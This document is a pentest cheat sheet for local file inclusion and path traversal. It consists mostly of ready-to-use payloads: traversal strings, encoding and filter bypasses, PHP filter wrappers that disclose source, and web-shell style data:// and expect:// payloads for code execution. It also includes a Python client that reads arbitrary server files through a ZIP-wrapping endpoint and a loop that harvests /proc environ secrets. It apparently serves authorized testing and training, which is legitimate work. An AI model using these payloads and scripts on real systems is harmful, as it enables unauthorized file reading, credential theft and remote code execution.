π‘οΈ Methodology Checklist
- Test basic LFI:
?file=../../../../etc/passwd - Null byte (PHP < 5.3.4):
?file=../../../../etc/passwd%00 - Double encoding:
%252e%252e%252ffor../ - Absolute path:
?file=/etc/passwdif app doesnβt prepend base - Filter bypass:
....//....//etc/passwdor..././..././etc/passwd - URL encoding bypass:
%2e%2e%2f - Common target files:
/etc/passwd,/proc/self/environ, web config files - Chain with log poisoning or wrappers for RCE
π― Operational Context
Use when: File inclusion parameter discovered β traverse directory structure to read sensitive files (/etc/passwd, /etc/shadow, web.config, .env).
Think Dumber First: Start basic: ?file=../../../../etc/passwd. If blocked: ....//....//etc/passwd (double slash bypass). URL encode: %2e%2e%2f%2e%2e%2f. PHP wrappers: ?file=php://filter/convert.base64-encode/resource=/etc/passwd.
Skip when: Inclusion parameter is restricted to a specific allowed directory β narrow traversal scope and look for files in that path instead.
β‘ Tactical Cheatsheet
| Command | Tactical Outcome |
|---|---|
http://[TARGET_IP]/index.php?language=/etc/passwd | Direct absolute path (no prefix prepended) |
http://[TARGET_IP]/index.php?language=../../../../../../../../../../etc/passwd | Relative traversal β βoverkillβ depth (extra ../ beyond root is safe) |
http://[TARGET_IP]/index.php?language=/../../../etc/passwd | Bypass filename prefix (e.g., include("lang_" . $input)) |
http://[TARGET_IP]/index.php?language=../../../../etc/passwd%00 | Null byte β drop forced .php extension (PHP < 5.5 only) |
http://[TARGET_IP]/index.php?language=....//....//....//etc/passwd | Non-recursive strip bypass (../ stripped β ../ re-forms) |
http://[TARGET_IP]/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd | URL-encoded traversal (bypass . and / character blacklists) |
http://[TARGET_IP]/index.php?language=./languages/../../../../etc/passwd | Approved-path regex bypass (prepend required prefix then traverse out) |
http://[TARGET_IP]/index.php?language=languages/....//....//....//etc/passwd | Chained: approved path + non-recursive strip |
http://[TARGET_IP]/index.php?language=php://filter/read=convert.base64-encode/resource=config | PHP filter β read .php source as base64 |
echo 'PD9waHAK...' | base64 -d | Decode PHP source code extracted via filter |
ffuf -w LFI-Jhaddix.txt:FUZZ -u 'http://[TARGET_IP]/index.php?language=FUZZ' -fs [SIZE] | Auto-fuzz LFI bypasses |
http://[TARGET_IP]/index.php?language=../../../../../../../../../../Windows/boot.ini | Windows LFI PoC |
./download.py [PATH] (small requests+zipfile client) | Endpoint returns each file wrapped in a ZIP/archive β script unwraps in memory and reads any path |
π¬ Deep Dive & Workflow
Function Capability Matrix
| Language | Function | Read | Execute | Remote URL |
|---|---|---|---|---|
| PHP | include() / require() | β | β | include only |
| PHP | file_get_contents() | β | β | β |
| NodeJS | fs.readFile() / sendFile() | β | β | β |
| NodeJS | res.render() | β | β | β |
| Java | include | β | β | β |
| Java | import | β | β | β |
| .NET | Response.WriteFile() | β | β | β |
| .NET | include | β | β | β |
If function only reads β LFI gives source disclosure only, not RCE β use to find creds then pivot.
Traversal Strategy
1. Try absolute path: ?language=/etc/passwd
2. Try relative (overkill depth): ?language=../../../../../../etc/passwd
3. Error shows prepended string β bypass prefix: ?language=/../../../etc/passwd
4. Error shows appended .php β identify extension append behavior
- Try: ?language=../../../../../../var/www/html/index (read known PHP file without ext)
- PHP < 5.5: use null byte %00
- PHP 5.5+: use PHP filter wrappers instead
Bypass Techniques
Filter strips ../ β ....//....//....//etc/passwd
Blacklists . and / β %2e%2e%2f%2e%2e%2f (URL-encode)
Must start with specific path β ./languages/../../../../etc/passwd
Both above β languages/....//....//....//etc/passwd
PHP Filter β Source Code Disclosure
# Read config.php as base64 (server appends .php automatically)
?language=php://filter/read=convert.base64-encode/resource=config
# Decode on Kali
echo 'PD9waHAK...' | base64 -d
# If server does NOT auto-append .php:
?language=php://filter/read=convert.base64-encode/resource=config.phpCRITICAL: View raw source (Ctrl+U) to copy the complete base64 string β browsers truncate long text.
PHP source reveals: DB credentials, other included files, config values β follow all include/require references iteratively.
Second-Order LFI
Register with username ../../../etc/passwd β application later uses it to load an avatar:
/images/avatars/../../../etc/passwd β /etc/passwd
Scripting the LFI (wrapped or repeated reads)
When the endpoint wraps every response (e.g. returns a ZIP/tar of the requested file, as βdownloadβ / βexportβ features often do) or you simply need to pull many files, stop saving-and-unzipping by hand. Wrap the request in a small client that normalizes the output to raw bytes and takes the path as an argument:
#!/usr/bin/env python3
import requests, io, zipfile, sys
def download(path):
url = f'http://[TARGET_IP]/download?file=../../../../../../../../../../{path}'
r = requests.get(url)
if not r.content:
return None
with zipfile.ZipFile(io.BytesIO(r.content)) as z:
return z.read(f"[INNER_ARCHIVE_DIR]/{path}") # entry name varies per app
data = download(sys.argv[1])
if data:
sys.stdout.buffer.write(data) # raw bytes β safe for text AND binarychmod +x download.py β ./download.py /etc/passwd. Tune the traversal depth and the inner archive entry path ([INNER_ARCHIVE_DIR]/...) to the target. Use sys.stdout.buffer.write (or write to a file) for binary content; only .decode() when you know itβs text. The same shape works for any wrapper β swap the zipfile unwrap for tarfile, base64, or a regex over the response body. Worked example: snoopy.
With a working reader, walk /proc to enumerate running processes and services without a shell β each /proc/<pid>/cmdline is the NUL-separated argv of a process:
for i in $(seq 0 1000); do ./download.py /proc/$i/cmdline | tr '\0' ' '; echo; donePair it with /proc/<pid>/environ to pull a processβs environment variables (frequently DB creds, API tokens, secrets). High-signal situational awareness when the LFI is your only foothold.
Useful Files to Target
/etc/passwd # User list, confirm traversal
/etc/hosts # Internal network mapping
/etc/crontab # Scheduled tasks
/var/www/html/config.php # DB credentials (use PHP filter)
/etc/php/7.4/apache2/php.ini # PHP config (check allow_url_include)
/proc/self/environ # Current process environment variables
/proc/[PID]/cmdline # argv of a running process β enumerate services (loop PIDs 0-1000)
/proc/[PID]/environ # A process's env vars β often DB creds / tokens / secretsπ οΈ Troubleshooting & Edge Cases
| Problem | Cause | Fix |
|---|---|---|
| Basic ../ blocked | Path traversal sanitized | Try: ....//, ..%2f, %2e%2e/, %252e%252e/ (double URL encode) |
| php://filter wrapper blocked | Wrapper disabled | Try: expect://id, data://text/plain,<?php system($_GET[cmd]);?>, zip://shell.zip%23shell |
| LFI limited to specific path | Null byte bypass | PHP < 5.3.4: add %00 to terminate string: ?file=../../etc/passwd%00.jpg |
| File read returns binary/garbage | Binary file included | Use base64 wrapper: php://filter/convert.base64-encode/resource=[PATH] then decode |
| Windows target β Linux paths fail | OS mismatch | Windows paths: ..\..\..\Windows\system32\drivers\etc\hosts; use both slash and backslash |
| Download/export endpoint returns a ZIP/archive, not raw content | Response is wrapped, but the LFI still works | Read the bytes in memory (io.BytesIO + zipfile), extract the inner entry; script it for repeated reads (see Deep Dive) |
π Reporting Trigger
Finding Title: Local File Inclusion Allows Arbitrary File Read Impact: LFI vulnerability allows reading arbitrary server files including /etc/passwd, /etc/shadow, application source code, configuration files with credentials, and SSH private keys, providing both sensitive data exposure and potential RCE via log poisoning. Root Cause: File inclusion function uses user-controlled path without validation. Path traversal not prevented by application logic or web server configuration. Recommendation: Never pass user input directly to file inclusion functions. Implement strict allowlist of permitted files. Map all dynamic file inclusion to static identifiers. Disable dangerous PHP wrappers (expect, data) in php.ini.
π Related Nodes
- LFI_RCE_Wrappers_Log_Poison
- File_Upload_Attacks
- snoopy β download endpoint that wraps each file in a ZIP; scripted client to unwrap and read configs